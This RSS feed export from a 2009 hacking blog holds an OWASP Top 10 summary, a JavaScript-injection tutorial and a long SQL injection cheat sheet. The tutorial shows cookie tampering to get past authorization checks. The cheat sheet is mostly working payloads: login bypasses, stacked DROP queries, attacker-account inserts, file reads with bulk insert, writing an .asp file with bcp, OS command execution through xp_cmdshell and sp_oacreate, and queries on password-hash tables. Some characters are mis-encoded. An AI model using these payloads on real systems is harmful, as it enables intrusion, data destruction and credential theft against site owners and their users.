<p>The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.</p>
<p><span id="more-82"></span></p>
<p>Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site, according to Snyder.</p>
<p>Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.</p>
<p>How to protect users: Use a whitelist to validate all incoming data, which rejects any data that’s not specified on the whitelist as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. “Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser,” OWASP says.</p>
<p><strong><br />
2. Injection flaws</strong></p>
<p>The problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter — which interprets text-based commands — into executing unintended commands. “Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application,” OWASP writes. “In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.”</p>
<p>Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed the SQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.</p>
<p>How to protect users: Avoid using interpreters if possible. “If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries,” OWASP writes.</p>
<p><strong>3. Malicious file execution</strong></p>
<p>The problem: Hackers can perform remote code execution, remote installation of rootkits, or completely compromise a system. Any type of Web application is vulnerable if it accepts filenames or files from users. The vulnerability may be most common with PHP, a widely used scripting language for Web development.</p>
<p>Real-world example: A teenage programmer discovered in 2002 that Guess.com was vulnerable to attacks that could steal more than 200,000 customer records from the Guess database, including names, credit card numbers and expiration dates. Guess agreed to upgrade its information security the next year after being investigated by the Federal Trade Commission.</p>
<p>How to protect users: Don’t use input supplied by users in any filename for server-based resources, such as images and script inclusions. Set firewall rules to prevent new connections to external Web sites and internal systems.</p>
<p><strong>4. Insecure direct object reference</strong></p>
<p>The problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.</p>
<p>Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface.</p>
<p>“References to database keys are frequently exposed,” OWASP writes. “An attacker can attack these parameters simply by guessing or searching for another valid key. Often, these are sequential in nature.”</p>
<p>Real-world example: An Australian Taxation Office site was hacked in 2000 by a user who changed a tax ID present in a URL to access details on 17,000 companies. The hacker e-mailed the 17,000 businesses to notify them of the security breach.</p>
<p>How to protect users: Use an index, indirect reference map or another indirect method to avoid exposure of direct object references. If you can’t avoid direct references, authorize Web site visitors before using them</p>
<p><strong><br />
5. Cross site request forgery</strong></p>
<p>The problem: “Simple and devastating,” this attack takes control of victim’s browser when it is logged onto a Web site, and sends malicious requests to the Web application. Web sites are extremely vulnerable, partly because they tend to authorize requests based on session cookies or “remember me” functionality. Banks are potential targets.</p>
<p>“Ninety-nine percent of the applications on the Internet are susceptible to cross site request forgery,” Williams says. “Has there been an actual exploit where someone’s lost money? Probably the banks don’t even know. To the bank, all it looks like is a legitimate transaction from a logged-in user.”</p>
<p>Real-world example: A hacker known as Samy gained more than a million “friends” on MySpace.com with a worm in late 2005, automatically including the message “Samy is my hero” in thousands of MySpace pages. The attack itself may not have been that harmful, but it was said to demonstrate the power of combining cross site scripting with cross site request forgery. Another example that came to light one year ago exposed a Google vulnerability allowing outside sites to change a Google user’s language preferences.</p>
<p>How to protect users: Don’t rely on credentials or tokens automatically submitted by browsers. “The only solution is to use a custom token that the browser will not ‘remember,’” OWASP writes. 		<!-- / message --></p>
<p><strong>6. Information leakage and improper error handling</strong></p>
<p>The problem: Error messages that applications generate and display to users are useful to hackers when they violate privacy or unintentionally leak information about the program’s configuration and internal workings.</p>
<p>“Web applications will often leak information about their internal state through detailed or debug error messages. Often, this information can be leveraged to launch or even automate more powerful attacks,” OWASP says.</p>
<p>Real-world example: Information leakage goes well beyond error handling, applying also to breaches occurring when confidential data is left in plain sight. The ChoicePoint debacle in early 2005 thus falls somewhere in this category. The records of 163,000 consumers were compromised after criminals pretending to be legitimate ChoicePoint customers sought details about individuals listed in the company’s database of personal information. ChoicePoint subsequently limited its sales of information products containing sensitive data.</p>
<p>How to protect users: Use a testing tool such as OWASP’S WebScarab Project to see what errors your application generates. “Applications that have not been tested in this way will almost certainly generate unexpected error output,” OWASP writes.</p>
<p><strong><br />
7. Broken authentication and session management</strong></p>
<p>The problem: User and administrative accounts can be hijacked when applications fail to protect credentials and session tokens from beginning to end. Watch out for privacy violations and the undermining of authorization and accountability controls.</p>
<p>“Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question and account update,” OWASP writes.</p>
<p>Real-world example: Microsoft had to eliminate a vulnerability in Hotmail that could have let malicious JavaScript programmers steal user passwords in 2002. Revealed by a networking products reseller, the flaw was vulnerable to e-mails containing Trojans that altered the Hotmail user interface, forcing users to repeatedly reenter their passwords and unwittingly send them to hackers.</p>
<p>How to protect users: Communication and credential storage has to be secure. The SSL protocol for transmitting private documents should be the only option for authenticated parts of the application, and credentials should be stored in hashed or encrypted form.</p>
<p>Another tip: get rid of custom cookies used for authentication or session management.</p>
<p><strong>8. Insecure cryptographic storage</strong></p>
<p>The problem: Many Web developers fail to encrypt sensitive data in storage, even though cryptography is a key part of most Web applications. Even when encryption is present, it’s often poorly designed, using inappropriate ciphers.</p>
<p>“These flaws can lead to disclosure of sensitive data and compliance violations,” OWASP writes.</p>
<p>Real-world example: The TJX data breach that exposed 45.7 million credit and debit card numbers. A Canadian government investigation faulted TJX for failing to upgrade its data encryption system before it was targeted by electronic eavesdropping starting in July 2005.<br />
How to protect users: Don’t invent your own cryptographic algorithms. “Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing,” OWASP advises.</p>
<p>Furthermore, generate keys offline, and never transmit private keys over insecure channels.</p>
<p><strong><br />
9. Insecure communications</strong></p>
<p>The problem: Similar to No. 8, this is a failure to encrypt network traffic when it’s necessary to protect sensitive communications. Attackers can access unprotected conversations, including transmissions of credentials and sensitive information. For this reason, PCI standards require encryption of credit card information transmitted over the Internet.</p>
<p>Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer to steal data exchanged wirelessly between portable price-checking devices, cash registers and store computers, the Wall Street Journal reported.</p>
<p>“The $17.4-billion retailer&#8217;s wireless network had less security than many people have on their home networks,” the Journal wrote. TJX was using the WEP encoding system, rather than the more robust WPA.</p>
<p>How to protect users: Use SSL on any authenticated connection or during the transmission of sensitive data, such as user credentials, credit card details, health records and other private information. SSL or a similar encryption protocol should also be applied to client, partner, staff and administrative access to online systems. Use transport layer security or protocol level encryption to protect communications between parts of your infrastructure, such as Web servers and database systems.</p>
<p><strong><br />
10. Failure to restrict URL access</strong></p>
<p>The problem: Some Web pages are supposed to be restricted to a small subset of privileged users, such as administrators. Yet often there’s no real protection of these pages, and hackers can find the URLs by making educated guesses. Say a URL refers to an ID number such as “123456.” A hacker might say ‘I wonder what’s in 123457?’ Williams says.</p>
<p>The attacks targeting this vulnerability are called forced browsing, “which encompasses guessing links and brute force techniques to find unprotected pages,” OWASP says.</p>
<p>Real-world example: A hole on the Macworld Conference &amp; Expo Web site this year let users get “Platinum” passes worth nearly $1,700 and special access to a Steve Jobs keynote speech, all for free. The flaw was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.</p>
<p>How to protect users: Don’t assume users will be unaware of hidden URLs. All URLs and business functions should be protected by an effective access control mechanism that verifies the user’s role and privileges. “Make sure this is done … every step of the way, not just once towards the beginning of any multi-step process,’ OWASP advises.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Javascript Injection</title>
		<link>http://www.hacking-gurus.net/2009/03/08/javascript-injection/</link>
		<comments>http://www.hacking-gurus.net/2009/03/08/javascript-injection/#comments</comments>
		<pubDate>Sun, 08 Mar 2009 10:21:44 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Servers]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[javascript injection]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=13</guid>
		<description><![CDATA[JavaScript Injection Overview JavaScript is a widely used technology within websites and web based applications. JavaScript can be used for all sorts of useful things and functions. But along with this comes some additional security issues that need to be thought of and tested for. JavaScript can be used not only for good purposes, but [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/08/javascript-injection/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Javascript+Injection";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "JavaScript Injection OverviewJavaScript is a widely used technology within websites and web based applications. JavaScript can be used for all sorts of useful things and functions. But along with this comes some additional security issues that need to be thought of and tested for. JavaScript can be used not only for good purposes, but also for malicious...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><strong><span style="font-size: medium;">JavaScript Injection Overview</span></strong><br />
JavaScript is a widely used technology within websites and web based applications. JavaScript can be used for all sorts of useful things and functions. But along with this comes some additional security issues that need to be thought of and tested for. JavaScript can be used not only for good purposes, but also for malicious purposes.</p>
<p><span id="more-13"></span></p>
<p>Using JavaScript an individual can modify and change existing information within a form. It can be used not only to change form input tags, but also the cookie&#8217;s that are currently set in the browser, and any other value within a website or web application. Any type of parameter manipulation that you want to perform can typically be done with Javascript injection.</p>
<p>To execute any javascript within a current session, a user would enter the specific javascript commands within the browser&#8217;s url bar minus the <a href="http://./" target="_blank">http://.</a> All javascript commands must start with the javascript: tag followed by any javascript command that will be executed. All javascript is ended with a ; so a user could enter multiple javascript commands, as long as each command ended with the ;</p>
<p><strong><span style="font-size: medium;">JavaScript cookie modification</span></strong><br />
Using JavaScript a user can modify the current cookie settings. This can be performed with some basic JavaScript commands. To view the current contents of your current cookie/s, use the following JavaScript command.</p>
<pre class="code" style="margin: 0pt; padding: 0pt;"><code>javascript:alert(document.cookie);</code></pre>
<p>This command will popup a box which lists your current cookies. A malicious user could use this to change values in the cookie. For example lets say a web application you are testing sets an authorization cookie to true when a user has successfully logged in and passed the authorization test. To change the values within the cookie, a malicious user would execute javascript like the following from the url bar within the browser.</p>
<pre class="code" style="margin: 0pt; padding: 0pt;"><code>javascript:void(document.cookie="authorization=true");</code></pre>
<p>This would cause the current cookie parameter authorization=false to be changed to authorization=true. Which the malicious user might not have passed the original authorization test. The malicious user has just bypassed the authorization test and gained access to the sensitive content. As you could imagine, this could cause severe problems in privilege escalation, if the malicious user could use JavaScript injection to bypass the correct authorization process.</p>
<p>If you are testing for JavaScript injection and wish to see if the cookie has been altered you would execute a command simiar to the following, except you would want to replace the cookie name and value with the cookie you desire to test. Start with the javascript command to alter the cookie and then tack on the javascript alert function to view what the cookie was changed to. For example</p>
<pre class="code" style="margin: 0pt; padding: 0pt;"><code>javascript:void(document.cookie="authorization=true");javascript:alert(document.cookie);</code></pre>
<p><strong><span style="font-size: medium;">JavaScript HTML Form modification</span></strong><br />
You can also use javascript to modify any value with an html form, including hidden forms, and disabled forms. The following is an example of how you would set an input tag named email within form number 0 (or the first form on the page)</p>
<pre class="code" style="margin: 0pt; padding: 0pt;"><code>javascript:void(document.forms[0].email.value="test@test.com");</code></pre>
<p><strong><span style="font-size: medium;">How to protect against Javascript Injection</span></strong><br />
Always validate the input received against a whitelist. If you use a blacklist you could and probably will come up against encoding issues. Always use a whitelist when validating input.</p>
<p>Do not rely on client side validation to validate the user input. Client side validation is great for helping the user input correct data. But a malicious user will not use this and could bypass the client side validation. Client side validate is should never be considered as a security fix. Using javascript to validate input should not be used. As you can see javascript is very easy to change and modify on any html page.</p>
<p>Additionally validate the input everytime, not just when the data is initally accepted. For example if you set a cookie, make sure that cookie is the same value and it is correct on each and every request. A malicious user could modify and change the value anytime during the session.</p>
<p><strong><span style="font-size: medium;">Injecting javascript into existing pages</span></strong><br />
Not only can you use javascript to manipulate parameters, cookies, but you can also inject javascript into dynamic pages to cause the page to render differently, do something else, or some other malicious thing. Think of a XSS attack.</p>
<p>Come back soon and we will post some examples of this.</p>
<p><strong><span style="font-size: medium;">Using JavaScript is difficult. Isn&#8217;t there an easier way?</span></strong><br />
Actually there is an easier way to test for any type of parameter manipulation you can do with javascript injection. Using sometype of proxy that allows you to manipulate parameters on the fly is much easier. You can do this with a number of different applications. I&#8217;ve included a list of some of the proxy applications that allow you to do this.</p>
<p>* <strong>Paros Proxy</strong><br />
* <strong>TamperData</strong></p>
<p>There are many, many more security testing proxy tools, this is just a short list of a few of the quick, easy, and nice tools to use.</p>
<p><strong><span style="font-size: medium;"><span style="color: red;">Paros Proxy</span></span></strong><br />
Paros is a valuable testing tool for your security and vulnerability testing. Paros can be used to spider/crawl your entire site, and then execute canned vulnerability scanner tests. But Paros goes beyond that, it comes with a built in utility that can proxy traffic. This Paros Proxy utility can be used to tamper or manipulate any http or https traffic on the fly. This makes some of the more interesting security types of testing. It will help you isolate potential area&#8217;s of security concern and then manual attempt to perform the type of testing you desire.</p>
<p>Paros also comes with a built in Session ID analyzer. It will display a graph of all the types of Session ID&#8217;s it has been presented with using a multiple threaded session initiater. You then can determine if the graph appears random enough for the Session ID. It is a pretty unique and interesting tool to use. Although typically most developers will rely upon another technology tomcat, apache, or some other application to generate Session ID&#8217;s. This is not always the case and as such a Session ID analysis should be performed. Sometimes the Session ID will not be randomized enough and the hash used to create the Session ID is easily predictable.</p>
<p>Paros also comes with a built in Fuzzer. You will need to generate your own Fuzzer library to use the Fuzzer, but it will perform all the fuzzing for you.<br />
<a href="http://www.parosproxy.org/index.shtml" target="_blank">http://www.parosproxy.org/index.shtml</a></p>
<p><strong><span style="color: red;"><span style="font-size: medium;">TamperData</span></span></strong><br />
TamperData is an extension for Mozilla Firefox. You can use TamperData to halt the traffic http requests that are processing and to &#8220;Tamper&#8221;, change, modify any of the data that is being submitted to the website.</p>
<p>TamperData is easily installed within your Firefox browser and is extremely easy to use. It only takes a moment to install and become familiar with the way it works.</p>
<p>The one thing that I haven&#8217;t figured out to do with TamperData, is to modify HTTP GET parameters, I can see how to modify the HTTP headers, post parameters, but the GET parameters are a bit more misleading to me.</p>
<p>All in all TamperData is an easy, excellent way to see what your web application is doing, and start testing with different and various other types of data. Parameter manipulation is very easy to do, there is no need to use Javascript Injection or re-posting webpages. This is a much easier way to just tamper with the data as it is being submitted to the web application.<br />
<a href="http://tamperdata.mozdev.org/" target="_blank">http://tamperdata.mozdev.org/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/08/javascript-injection/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL CheatSheet</title>
		<link>http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/</link>
		<comments>http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/#comments</comments>
		<pubDate>Sun, 08 Mar 2009 06:24:51 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=10</guid>
		<description><![CDATA[Currently only for MySQL and Microsoft SQL Server. Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences. Samples are provided to allow reader to get basic idea of a potential attack. * M : MySQL * [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "SQL+CheatSheet";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Currently only for MySQL and Microsoft SQL Server. Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences.Samples are provided to allow reader to get basic idea of a potential attack.* M : MySQL* S : SQL Server* O : Oracle* + : Possibly...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Currently only for MySQL and Microsoft SQL Server. Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences.</p>
<p><span id="more-10"></span></p>
<p>Samples are provided to allow reader to get basic idea of a potential attack.</p>
<p>* M : MySQL<br />
* S : SQL Server<br />
* O : Oracle<br />
* + : Possibly all other databases</p>
<p>Examples;<br />
(MS) MySQL and SQL Server etc.<br />
(M*S) Only in some versions of MySQL or special conditions see related note and SQL Server<br />
Syntax Reference with Sample Basic Attacks<br />
Ending / Commenting Out / Line Comments Queries<br />
Line Comments</p>
<p>(Comments rest of the query)</p>
<p>Line comments are generally useful for ignoring rest of the query so you don¡¯t have to deal with fixing rest of the query.</p>
<p>* &#8212; (SM)<br />
DROP sampletable;&#8211;</p>
<p>* # (M)<br />
DROP sampletable;#</p>
<p>Sample SQL Injection Attacks</p>
<p>* Username: admin&#8217;&#8211;<br />
* SELECT * FROM members WHERE username = &#8216;admin&#8217;&#8211;&#8217; AND password = &#8216;password&#8217;<br />
This is going to log you as admin user, because rest of the SQL query will be ignored.</p>
<p>Inline Comments</p>
<p>Comments rest of the query by not closing them or use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.</p>
<p>* /*Comment Here*/ (SM)<br />
o DROP/*comment*/sampletable<br />
o DR/**/OP/*bypass blacklisting*/sampletable<br />
o SELECT/*avoid-spaces*/password/**/FROM/**/Members</p>
<p>* /*! MYSQL Special SQL */ (M)<br />
This is a special comment syntax for MySQL. It¡¯s perfect for detecting MySQL version. If you put a code into this comments it¡¯s going to execute in MySQL. Also you can use this to execute some code only if the server is higher than supplied version.</p>
<p>SELECT /*!32302 1/0, */ 1 FROM tablename</p>
<p>Sample SQL Injection Attacks</p>
<p>* ID: /*!32302 10*/<br />
* ID: 10<br />
You will get the same response if the MySQL version is higher than 3.23.02</p>
<p>Stacking Queries</p>
<p>Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.</p>
<p>* ; (S)<br />
SELECT * FROM members; DROP members&#8211;</p>
<p>Ends a query and starts a new one.</p>
<p>*About MySQL and PHP;<br />
To clarify some issues;<br />
PHP &#8211; MySQL doesn&#8217;t support stacked queries, Java doesn&#8217;t support stacked queries (I&#8217;m sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it¡¯s not possible to execute second query in PHP-MySQL applications or maybe MySQL clients support this, not quite sure. Can someone clarify ?<br />
Sample SQL Injection Attacks</p>
<p>* ID: 10;DROP members &#8211;<br />
* SELECT * FROM products WHERE id = 10; DROP members&#8211;</p>
<p>This will run DROP members SQL sentence after normal SQL Query.<br />
If Statements</p>
<p>Get response based on a if statement is one of the key points of Blind SQL Injection and can be very useful to test simple stuff.<br />
MySQL If Statement</p>
<p>* IF(condition,true-part,false-part) (M)<br />
SELECT IF(1=1,&#8217;true&#8217;,'false&#8217;)</p>
<p>SQL Server If Statement</p>
<p>* IF contidion true-part ELSE false-part (S)<br />
IF (1=1) SELECT &#8216;true&#8217; ELSE SELECT &#8216;false&#8217;</p>
<p>Sample SQL Injection Attacks</p>
<p>if ((select user) = &#8216;sa&#8217; OR (select user) = &#8216;dbo&#8217;) select 1 else select 1/0 (S)<br />
This will throw an divide by zero error if current logged user is not &#8220;sa&#8221; or &#8220;dbo&#8221;.<br />
Using Integers</p>
<p>Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.</p>
<p>* 0xHEXNUMBER (SM)<br />
You can write hex like these;</p>
<p>SELECT CHAR(0&#215;66) (S)<br />
SELECT 0&#215;5045 (this is not an integer it will be a string from Hex) (M)<br />
SELECT 0&#215;50 + 0&#215;45 (this is integer now!) (M)</p>
<p>String Operations</p>
<p>String related operations. This can be quite useful to build up injection which are not using any quotes, bypass any other black listing or determine database.<br />
String Concatenation</p>
<p>* + (S)<br />
SELECT login + &#8216;-&#8217; + password FROM members</p>
<p>* || (*MO)<br />
SELECT login || &#8216;-&#8217; || password FROM members</p>
<p>*About MySQL `||`;<br />
If MySQL is running in ANSI mode it¡¯s going to work but otherwise MySQL accept it as `logical operator` it¡¯ll return 0. Better way to do it is using CONCAT() function in MySQL.</p>
<p>* CONCAT(str1, str2, str3, &#8230;) (M)<br />
Concatenate supplied strings.<br />
SELECT CONCAT(login, password) FROM members</p>
<p>Strings without Quotes</p>
<p>These are some direct ways to using strings but it¡¯s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.</p>
<p>* 0&#215;457578 (M) &#8211; Hex Representation of string<br />
SELECT 0&#215;457578<br />
This will be selected as string in MySQL.</p>
<p>* Using CONCAT() in MySQL<br />
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)<br />
This will return ¡®KLM¡¯.</p>
<p>* SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)<br />
This will return ¡®KLM¡¯.</p>
<p>String Modification &amp; Related</p>
<p>* ASCII() (SM)<br />
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.</p>
<p>SELECT ASCII(&#8216;a&#8217;)</p>
<p>* CHAR() (SM)<br />
Convert an integer of ASCII .</p>
<p>SELECT CHAR(64)</p>
<p>UNION ¨C Fixing Language Issues</p>
<p>While exploiting union injections sometimes you will get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to bypass this problem. It&#8217;s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.</p>
<p>* SQL Server (S)<br />
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one &#8211; check out SQL Server documentation.</p>
<p>* MySQL (M)<br />
Hex() for every possible issue</p>
<p>Login Screen (SMO+)<br />
SQL Injection 101, Login tricks</p>
<p>* admin&#8217; &#8211;<br />
* admin&#8217; #<br />
* admin&#8217;/*<br />
* &#8216; or 1=1&#8211;<br />
* &#8216; or 1=1#<br />
* &#8216; or 1=1/*<br />
* &#8216;) or &#8217;1&#8242;=&#8217;1&#8211;<br />
* &#8216;) or (&#8217;1&#8242;=&#8217;1&#8211;<br />
* etc&#8230;.</p>
<p>* Login as different user (SM*)<br />
&#8216; UNION SELECT 1, &#8216;anotheruser&#8217;, &#8216;doesnt matter&#8217;, 1&#8211;</p>
<p>*Old versions of MySQL doesn&#8217;t support union queries<br />
Error Based &#8211; Find Columns Names<br />
Finding Column Names with HAVING BY &#8211; Error Based (S)</p>
<p>In the same order,</p>
<p>* &#8216; HAVING 1=1 &#8211;<br />
* &#8216; GROUP BY table.columnfromerror1 HAVING 1=1 &#8211;<br />
* &#8216; GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 &#8211;<br />
* &#8216; GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 &#8212; and so on<br />
* If you are not getting any more error then it&#8217;s done.</p>
<p>Finding how many columns in SELECT query by ORDER BY (MSO+)</p>
<p>Finding column number by ORDER BY can speed up the UNION SQL Injection process.</p>
<p>* ORDER BY 1&#8211;<br />
* ORDER BY 2&#8211;<br />
* ORDER BY N&#8211; so on<br />
* Keep going until get an error. Error means you found the number of selected columns.</p>
<p>Data types, UNION, etc.<br />
Hints,</p>
<p>* Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.<br />
* To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.<br />
* Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.<br />
o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)</p>
<p>Finding Column Type</p>
<p>* &#8216; union select sum(columntofind) from users&#8211; (S)<br />
Microsoft OLE DB Provider for ODBC Drivers error &#8217;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.</p>
<p>If you are not getting error it means column is numeric.</p>
<p>* Also you can use CAST() or CONVERT()<br />
o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL&#8211;</p>
<p>* 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 ¨C-<br />
No Error &#8211; Syntax is right. MS SQL Server Used. Proceeding.</p>
<p>* 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 ¨C-<br />
No Error ¨C First column is an integer.</p>
<p>* 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 &#8211;<br />
Error! ¨C Second column is not an integer.</p>
<p>* 11223344) UNION SELECT 1,¡¯2¡¯,NULL,NULL WHERE 1=2 ¨C-<br />
No Error ¨C Second column is a string.</p>
<p>* 11223344) UNION SELECT 1,¡¯2¡¯,3,NULL WHERE 1=2 ¨C-<br />
Error! ¨C Third column is not an integer. &#8230;</p>
<p>Microsoft OLE DB Provider for SQL Server error &#8217;80040e07&#8242;<br />
Explicit conversion from data type int to image is not allowed.</p>
<p>You¡¯ll get convert() errors before union target errors ! So start with convert() then union<br />
Simple Insert (MSO+)<br />
&#8216;; insert into users values( 666, &#8216;attacker&#8217;, &#8216;foobar&#8217;, 0xffff )&#8211;<br />
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes</p>
<p>@@version (MS)<br />
Version of database and more details for SQL Server. It&#8217;s a constant. You can just select it like any other column, you don&#8217;t need to supply table name. Also you can use insert, update statements or in functions.</p>
<p>INSERT INTO members(id, user, pass) VALUES(1, &#8221;+SUBSTRING(@@version,1,10) ,10)<br />
Bulk Insert (S)</p>
<p>Insert a file content to a table. If you don&#8217;t know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.</p>
<p>1. Create table foo( line varchar(8000) )<br />
2. bulk insert foo from &#8216;c:inetpubwwwrootlogin.asp&#8217;<br />
3. Drop temp table, and repeat for another file.</p>
<p>BCP (S)</p>
<p>Write text file. Login Credentials are required to use this function.<br />
bcp &#8220;SELECT * FROM test..foo&#8221; queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar<br />
VBS, WSH in SQL Server (S)</p>
<p>You can use VBS, WSH scripting in SQL Server because of ActiveX support.</p>
<p>declare @o int<br />
exec sp_oacreate &#8216;wscript.shell&#8217;, @o out<br />
exec sp_oamethod @o, &#8216;run&#8217;, NULL, &#8216;notepad.exe&#8217;<br />
Username: &#8216;; declare @o int exec sp_oacreate &#8216;wscript.shell&#8217;, @o out exec sp_oamethod @o, &#8216;run&#8217;, NULL, &#8216;notepad.exe&#8217; &#8211;<br />
Executing system commands, xp_cmdshell (S)</p>
<p>Well known trick, By default it&#8217;s disabled in SQL Server 2005. You need to have admin access.</p>
<p>EXEC master.dbo.xp_cmdshell &#8216;cmd.exe dir c:&#8217;</p>
<p>Simple ping check (configure your firewall or sniffer to identify request before launch it),</p>
<p>EXEC master.dbo.xp_cmdshell &#8216;ping &lt;ip address&gt;&#8217;</p>
<p>You can not read results directly from error or union or something else.<br />
Some Special Tables in SQL Server (S)</p>
<p>* Error Messages<br />
master..sysmessages</p>
<p>* Linked Servers<br />
master..sysservers</p>
<p>* Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )<br />
SQL Server 2000: masters..sysxlogins<br />
SQL Server 2005 : sys.sql_logins</p>
<p>More Stored Procedures (S)<br />
Stored Procedures</p>
<p>1. Cmd Execute (xp_cmdshell)<br />
exec master..xp_cmdshell &#8216;dir&#8217;</p>
<p>2. Registry Stuff (xp_regread)<br />
1. xp_regaddmultistring<br />
2. xp_regdeletekey<br />
3. xp_regdeletevalue<br />
4. xp_regenumkeys<br />
5. xp_regenumvalues<br />
6. xp_regread<br />
7. xp_regremovemultistring<br />
8. xp_regwrite<br />
exec xp_regread HKEY_LOCAL_MACHINE, &#8216;SYSTEMCurrentControlSetServiceslanmanserverparame  ters&#8217;, &#8216;nullsessionshares&#8217;<br />
